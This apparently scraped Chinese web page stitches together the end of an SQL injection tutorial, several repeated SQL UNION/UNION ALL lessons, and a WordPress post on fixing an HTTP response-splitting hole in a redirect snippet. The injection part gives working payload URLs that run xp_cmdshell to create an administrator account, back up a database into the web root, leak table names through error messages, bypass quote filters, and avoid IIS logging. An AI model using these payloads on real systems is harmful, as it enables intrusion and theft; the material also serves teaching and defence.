同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQL Server中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。


经过了入门篇进阶篇的学习,相信诸位想要破解一般的网站是没有什么问题了,但是先别得意。正所谓学海无涯,技术的进步也是没有止境的。SQL注入是一个看起来简单,但是变数很多的过程。接下来的高级篇让我们更加深入地探讨SQL注入问题。
第一节、利用系统表注入SQLServer数据库
SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是 Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密 码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整 的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留 给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防范方法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

  1. Function SafeRequest(ParaName,ParaType)   
  2.  '--- 传入参数 ---   
  3.  'ParaName:参数名称-字符型   
  4.  'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)   
  5.  
  6.  Dim ParaValue   
  7.  ParaValue=Request(ParaName)   
  8.  If ParaType=1 then   
  9. If not isNumeric(ParaValue) then   
  10.  Response.write "参数" & ParaName & "必须为数字型!"   
  11.  Response.end   
  12. End if   
  13.  Else   
  14. ParaValue=replace(ParaValue,"'","''")   
  15.  End if   
  16.  SafeRequest=ParaValue   
  17. End function  
【编辑推荐】

SQL Union和SQL Union All用法

SQL Union和SQL Union All用法

时 间:2008-04-12 08:43:51
作 者:金宇转载   QQ:89763722  点击这里给金宇发消息
摘 要:SQL Union和SQL Union All用法
正 文:

SQL Union和SQL Union All用法

SQL Union
UNION 指令的目的是将两个 SQL 语句的结果合并起来。从这个角度来看, UNION 跟 JOIN 有些许类似,因为这两个指令都可以由多个表格中撷取资料。 UNION 的一个限制是两个 SQL 语句所产生的栏位需要是同样的资料种类。另外,当我们用 UNION这个指令时,我们只会看到不同的资料值 (类似 Select DISTINCT)。 union只是将两个结果联结起来一起显示,并不是联结两个表………… UNION 的语法如下: [SQL 语句 1]

UNION


SQL Union All




UNION ALL 这个指令的目的也是要将两个 SQL 语句的结果合并在一起。 UNION ALL 和 UNION 不同之处在于 UNION ALL 会将每一笔符合条件的资料都列出来,无论资料值有无重复。 UNION ALL 的语法如下: [SQL 语句 1]
UNION ALL
[SQL 语句 2]




实例(可以直接在查询分析器里查询并看到对比结果):
declare  @t  table
(
a int ,
b int
)
declare  @s table
(
a int,
b int
)

insert into @t select 1,1
insert into @t select 1,2

insert into @s select 1,1
insert into @s select 1,3

select * from @t
union
select * from @s
select * from @t
union all
select * from @s

SQL UNION 和 UNION ALL


分类: 基础知识 120人阅读 评论(0) 收藏 举报
UNION 运算符将多个 SELECT 语句的结果组合成一个结果集。


(1)使用 UNION 须满足以下条件:

A:所有查询中必须具有相同的结构(即查询中的的列数和列的顺序必须相同)。


B:对应列的数据类型可以不同但是必须兼容(所谓的兼容是指两种类型之间可以进行隐式转换,不能进行隐式转换则报错)。也可以用显式转换为相同的数据类型。


(当数据类型不同时,则根据数据类型优先级规则确定所产生的数据类型。如果类型相同,但精度、小数位数或长度不同,则根据用于合并表达式的相同规则来确定结果)(参照MSDN:数据类型优先级)


C:如果为XML数据类型则列必须等价(所有列都必须类型化为 XML 架构,或者为非类型化),如果类型化,这些列必须类型化为相同的 XML 架构集合。
 (2)UNION结果集


A:UNION 后的结果集的列名与 第一个 SELECT 语句的结果集中的列名相同。另一个 SELECT 语句的结果集列名将被忽略。


B:UNION默认的删除结果集中重复的记录,如果使用 ALL 关键字则在结果集中保留所有记录(保留重复记录)
(3)注意点


A: Transact-SQL 语句中可以使用多个 UNION 运算符


B:在使用了 UNION 运算符的各个 SELECT 语句不能包含它们自己的 ORDER BY 或 COMPUTE 子句。而只能在最终的组合结果集(即最后一个 SELECT 语句的后面)使用一个 ORDER BY 或 COMPUTE 子句。


C:在使用了 UNION 运算符的各个 SELECT 语句中可以使用 GROUP BY 和 HAVING 子句。


D:默认情况下,SQL Server 2005 从左向右对包含 UNION 运算符的语句求值。可使用圆括号指定求值顺序。


MSDN 例子如下


例如,以下语句并不等价:


/* First statement. */
SELECT * FROM TableA
UNION ALL
( SELECT * FROM TableB
UNION
SELECT * FROM TableC
)
GO
/* Second statement. */
(SELECT * FROM TableA
UNION ALL
SELECT * FROM TableB
)
UNION
SELECT * FROM TableC)
GO

在第一个语句中,将消除 TableB 与 TableC 的并集中的重复行。而在该集与 TableA 的并集中,将不消除重复行。在第二个语句中,TableA 与TableB 的并集中将包含重复行,但在随后与 TableC 的并集中将消除重复行。ALL 关键字对此表达式的最终结果没有影响。


效率:
如果使用了union,无论是sql union还是sql union all一定要记住对数据库表加上索引!



在数据库中,union和union all 关键字都是将两个结果集合合并为一个,但这两者从使用和效率上来说都有所不同。


UNION在进行表链接后会筛选掉重复的记录,所以在表链接后会对所产生的结果集进行排序运算,删除重复的记录再返回结果。实际大部分应用中是不会产生重复的记录,最常见的是过程表与历史表UNION。如:


select * from gc_dfys
union
select * from ls_jg_dfys


这个SQL在运行时先取出两个表的结果,再用排序空间进行排序删除重复的记录,最后返回结果集,如果表数据量大的话可能会导致用磁盘进行排序。


而UNION ALL只是简单的将两个结果合并后就返回。这样,如果返回的两个结果集中有重复的数据,那么返回的结果集就会包含重复的数据了。


从效率上说,UNION ALL 要比UNION快很多,所以,如果可以确认合并的两个结果集中不包含重复的数据的话,那么就使用UNION ALL,如下:


select * from gc_dfys
union all
select * from ls_jg_dfys



sqlserver Union和SQL Union All使用方法

sqlserver Union和SQL Union All使用方法

发布:dxy 字体:[增加 减小] 类型:转载
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值,即UNION是去了重的。如果允许重复的值,请使用 UNION ALL
SQL UNION ALL 语法SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
UNION 指令的目的是将两个 SQL 语句的结果合并起来。从这个角度来看, UNION 跟 JOIN 有些许类似,因为这两个指令都可以由多个表格中撷取资料。union只是将两个结果联结起来一起显示,并不是联结两个表………… UNION 的语法如下:
[SQL 语句 1]
UNION
[SQL 语句 2]
假设我们有以下的两个表格,
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Internet Sales 表格
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
而我们要找出来所有有营业额 (sales) 的日子。要达到这个目的,我们用以下的 SQL 语句: SELECT Date FROM Store_Information
UNION
SELECT Date FROM Internet_Sales
结果:
Date
Jan-05-1999
Jan-07-1999
Jan-08-1999
Jan-10-1999
Jan-11-1999
Jan-12-1999
有一点值得注意的是,如果我们在任何一个 SQL 语句 (或是两句都一起) 用 "SELECT DISTINCT Date" 的话,那我们会得到完全一样的结果。

SQL Union All
UNION ALL 这个指令的目的也是要将两个 SQL 语句的结果合并在一起。 UNION ALLUNION 不同之处在于 UNION ALL 会将每一笔符合条件的资料都列出来,无论资料值有无重复。 UNION ALL 的语法如下: [SQL 语句 1]
UNION ALL
[SQL 语句 2]
我们用和上一页同样的例子来显示出 UNION ALLUNION 的不同。同样假设我们有以下两个表格,
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Internet Sales 表格
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
而我们要找出有店面营业额以及网络营业额的日子。要达到这个目的,我们用以下的 SQL 语句: SELECT Date FROM Store_Information
UNION ALL
SELECT Date FROM Internet_Sales
结果:
Date
Jan-05-1999
Jan-07-1999
Jan-08-1999
Jan-08-1999
Jan-07-1999
Jan-10-1999
Jan-11-1999
Jan-12-1999
eg:
复制代码 代码如下:

SELECT id,Name,DocPinYin FROM doctor
UNION
SELECT 0 AS id,'无医生名' AS Name,'' AS DocPinYin


结果集是

SELECT id,Name,DocPinYin FROM doctor
结果集是

故:union将两个结果集合在一起

SQL Union和SQL Union All用法


SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值,即UNION是去了重的。如果允许重复的值,请使用 UNION ALL。
SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
UNION 指令的目的是将两个 SQL 语句的结果合并起来。从这个角度来看, UNION 跟 JOIN 有些许类似,因为这两个指令都可以由多个表格中撷取资料。union只是将两个结果联结起来一起显示,并不是联结两个表………… UNION 的语法如下:
 [SQL 语句 1]
UNION
[SQL 语句 2]
假设我们有以下的两个表格,
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Internet Sales 表格
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
而我们要找出来所有有营业额 (sales) 的日子。要达到这个目的,我们用以下的 SQL 语句: SELECT Date FROM Store_Information
UNION
SELECT Date FROM Internet_Sales
结果:
Date
Jan-05-1999
Jan-07-1999
Jan-08-1999
Jan-10-1999
Jan-11-1999
Jan-12-1999
有一点值得注意的是,如果我们在任何一个 SQL 语句 (或是两句都一起) 用 "SELECT DISTINCT Date" 的话,那我们会得到完全一样的结果。

SQL Union All
UNION ALL 这个指令的目的也是要将两个 SQL 语句的结果合并在一起。 UNION ALLUNION 不同之处在于 UNION ALL 会将每一笔符合条件的资料都列出来,无论资料值有无重复。 UNION ALL 的语法如下: [SQL 语句 1]
UNION ALL
[SQL 语句 2]
我们用和上一页同样的例子来显示出 UNION ALLUNION 的不同。同样假设我们有以下两个表格,
Store_Information 表格
store_name Sales Date
Los Angeles $1500 Jan-05-1999
San Diego $250 Jan-07-1999
Los Angeles $300 Jan-08-1999
Boston $700 Jan-08-1999
Internet Sales 表格
Date Sales
Jan-07-1999 $250
Jan-10-1999 $535
Jan-11-1999 $320
Jan-12-1999 $750
而我们要找出有店面营业额以及网络营业额的日子。要达到这个目的,我们用以下的 SQL 语句: SELECT Date FROM Store_Information
UNION ALL
SELECT Date FROM Internet_Sales
结果:
Date
Jan-05-1999
Jan-07-1999
Jan-08-1999
Jan-08-1999
Jan-07-1999
Jan-10-1999
Jan-11-1999
Jan-12-1999

SQL UNION 和 UNION ALL 操作符

SQL UNION 和 UNION ALL 操作符

SQL UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

SQL UNION ALL 语法

SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

下面的例子中使用的原始表:

Employees_China:

E_ID E_Name
01 Zhang, Hua
02 Wang, Wei
03 Carter, Thomas
04 Yang, Ming

Employees_USA:

E_ID E_Name
01 Adams, John
02 Bush, George
03 Carter, Thomas
04 Gates, Bill

使用 UNION 命令

实例

列出所有在中国和美国的不同的雇员名:
SELECT E_Name FROM Employees_China
UNION
SELECT E_Name FROM Employees_USA

结果

E_Name
Zhang, Hua
Wang, Wei
Carter, Thomas
Yang, Ming
Adams, John
Bush, George
Gates, Bill
注释:这个命令无法列出在中国和美国的所有雇员。在上面的例子中,我们有两个名字相同的雇员,他们当中只有一个人被列出来了。UNION 命令只会选取不同的值。

UNION ALL

UNION ALL 命令和 UNION 命令几乎是等效的,不过 UNION ALL 命令会列出所有的值。
SQL Statement 1
UNION ALL
SQL Statement 2

使用 UNION ALL 命令

实例:

列出在中国和美国的所有的雇员:
SELECT E_Name FROM Employees_China
UNION ALL
SELECT E_Name FROM Employees_USA

结果

E_Name
Zhang, Hua
Wang, Wei
Carter, Thomas
Yang, Ming
Adams, John
Bush, George
Carter, Thomas
Gates, Bill

wordpress评论者链接网址重定向跳转设置后出现的HTTP响应拆分漏洞

wordpress评论者链接网址重定向跳转设置后出现的HTTP响应拆分漏洞
2013年02月24日 12:40:16 | Wordpress | 共 1221字 | 被围观 529 次 | 7 条评论
其实这个HTTP响应拆分漏洞是‘360安全网站检测’检测出来的。
该漏洞的危害:攻击者可能注入自定义HTTP头。例如,攻击者可以注入会话cookie或HTML代码。这可能会进行类似的XSS(跨站点脚本)或会话固定漏洞。
解决方案:限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出,以防止注入自定义HTTP头。
出现这个问题,是因为添加了wordpress评论外链跳转功能,站外网址的跳转是使用“/?r=”直接跳转,没有使用中间跳转页,而且代码过滤不严格。
关于评论者链接网址重定向的方法网上很多,代码是这样的:
  1. //评论者链接的网址重定向跳转   
  2. add_filter('get_comment_author_link', 'add_redirect_comment_link', 5);   
  3. add_filter('comment_text', 'add_redirect_comment_link', 99);   
  4. function add_redirect_comment_link($text = ''){   
  5. $text=str_replace('href="', 'href="'.get_option('home').'/?r=', $text);   
  6. $text=str_replace("href='""href='".get_option('home')."/?r=", $text);   
  7. return $text;   
  8. }   
  9. add_action('init', 'redirect_comment_link');   
  10. function redirect_comment_link(){   
  11. $redirect = $_GET['r'];   
  12. $host = $_SERVER['HTTP_HOST'];   
  13. if($redirect){   
  14. if(strpos($_SERVER['HTTP_REFERER'],get_option('home')) !== false){   
  15. header("Location: $redirect#from:$host");   
  16. exit;   
  17. }   
  18. else {   
  19. header("Location: $redirect#from:$host");   
  20. exit;   
  21. }   
  22. }   
  23. }  

解决参数r的HTTP响应拆分漏洞:
$redirect = $_GET['r'];后面必须过滤CR和LF字符,在该代码后面加上以下代码:
  1. $redirect = trim(str_replace("\r","",str_replace("\r\n","",strip_tags(str_replace("'","",str_replace("\n", "", str_replace(" ","",str_replace("\t","",trim($redirect))))),""))));
即可成功修复HTTP响应拆分漏洞。